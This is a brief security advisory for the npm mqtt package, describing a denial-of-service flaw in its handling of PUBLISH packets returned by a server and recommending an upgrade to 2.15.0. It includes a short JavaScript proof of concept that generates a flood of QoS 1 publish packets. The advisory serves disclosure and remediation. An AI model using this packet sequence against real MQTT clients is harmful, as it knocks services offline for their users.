GHSA-h9mj-fghc-664w

Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

## Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead. ``` var mqttp = require('mqtt-packet'); var packets = []; for(var i=0; i<=1000;i++){ packets.push( mqttp.generate({ cmd:'publish', topic:Buffer.from('hello'), payload:Buffer.from('world'), retain: false, dup: false, messageId: ++i, qos: 1 }) ) }

```

## Recommendation

Update to version 2.15.0 or later.